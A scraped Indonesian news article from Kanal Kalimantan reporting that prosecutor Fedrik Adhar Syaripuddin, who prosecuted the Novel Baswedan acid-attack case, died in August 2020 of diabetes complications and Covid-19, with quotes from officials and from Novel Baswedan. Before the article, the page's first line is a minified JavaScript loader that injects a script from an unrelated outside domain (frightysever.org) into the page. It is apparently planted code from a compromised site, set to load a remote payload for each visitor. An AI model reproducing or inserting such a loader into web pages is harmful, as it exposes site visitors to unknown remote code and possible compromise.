(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Jaksa Fedrik JPU Kasus Penyiraman Novel Baswedan Meninggal karena Covid-19


KANALKALIMANTAN.COM, JAKARTA- Fedrik Adhar Syaripuddin, jaksa pada Kejaksaan Negeri Jakarta Utara yang sempat menjadi jaksa penuntut umum kasus penyiraman air keras terhadap Novel Baswedan, meninggal dunia, Senin (17/8/2020). Belakangan diketahui, Jaksa Fedrik meninggal dunia karena komplikasi penyakit gula serta terpapar virus corona covid-19.

Hal tersebut dibenarkan oleh Jaksa Agung ST Burhanuddin kepada wartawan, Senin sore.

“Benar (karena Covid-19),” kata Burhanuddin.

Sementara Kapuspenkum Kejaksaan Agung Hari Setiyono mengatakan, Fedrik meninggal di Rumah Sakit Pondok Indah, Bintaro, Jakarta Selatan pada pukul 12.00 Wita.

Berdasarkan informasi yang dia peroleh Hari, Jaksa Fedrik meninggal akibat komplikasi penyakit gula. “Pada hari ini Senin tanggal 17 Agustus 2020 sekitar pukul 11.00 di RS Pondok Indah Bintaro. Info sakitnya komplikasi penyakit gula,” ungkap Hari.

Kabar kematian Fedrik sempat tersiar di media sosial. Hal tersebut sempat diberitakan medial lokal Sumatera Selatan, dan viral di media sosial.

Dalam informasi viral itu disebutkan, Jaksa Fedrik meninggal setelah sempat pulang ke daerah Baturaja, Sumatera Selatan, untuk urusan keluarga.

“Selamat jalan ananda Robertino Fedrik Adhar Syaripuddin, semoga husnul khotimah,” tulis warganet yang merupakan rekan sejawatnya di daerah Sumsel.

Fedrik Adhar Syaripuddin sempat menjadi sorotan warganet tatkala menangani kasus penyiraman air keras terhadap penyidik senior Komisi Pemberantasan Korupsi Novel Baswedan, beberapa waktu lalu.

Pasalnya, ia menyebut kasus penyiraman air keras terhadap Novel Baswedan terjadi tanpa disengaja.

Atas dasar itu pula, Jasa Fedrik menuntut dua terdakwa penyiram air keras terhadap Novel Baswedan, yakni Ronny Bugis dan Rahmat Kadir, masing-masing hanya satu tahun penjara.

Sementara penyidik senior KPK, Novel Baswedan menyampaikan belasungkawa atas meninggalnya Jaksa Fedrik Adhar Syaripuddin yang bertugas di Kejaksaan Negeri Jakarta Utara.

Fedrik merupakan jaksa penuntut umum yang pernah bertugas menangani kasus penyiraman air keras terhadap Novel.

“Iya. Turut berduka cita semoga Allah mengampuni segala dosanya dan diterima segala amal ibadahnya,” kata Novel melalui pesan singkat, Senin (17/8/2020). (suara)

Reporter : Suara
Editor : Cell


Desy Arfianty

Recent Posts

Dukung Pembangunan Keberlanjutan di Kalimantan, PLN Hadirkan 15 Program TJSL di Sepanjang 2024

KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

40 menit ago

Ada Pekerjaan PAM Bandarmasih, Besok Distribusi Air Disetop

KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More

6 jam ago

Layaknya Pilkada, Pemilihan Ketua RT dan RW Serentak se Banjarbaru Digelar

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More

7 jam ago

BPIH 2025 Resmi Turun Rp 4 Juta, Ini Komponen Utama Biaya Haji

KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More

9 jam ago

Tim Banjarbaru Hanyar Siap Hadapi Sidang Pertama Gugatan di MK

KANALKALIMANTAN.COM, JAKARTA – Tim Banjarbaru Hanyar (Haram Manyarah) untuk gugatan Pilkada Kota Banjarbaru akan menghadapi… Read More

9 jam ago

Konsumsi Listrik EV di SPKLU Cetak Rekor, Dirut PLN: Meningkat 500% Sepanjang Nataru

KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) terus mencatat rekor lonjakan konsumsi energi kendaraan listrik atau… Read More

10 jam ago

This website uses cookies.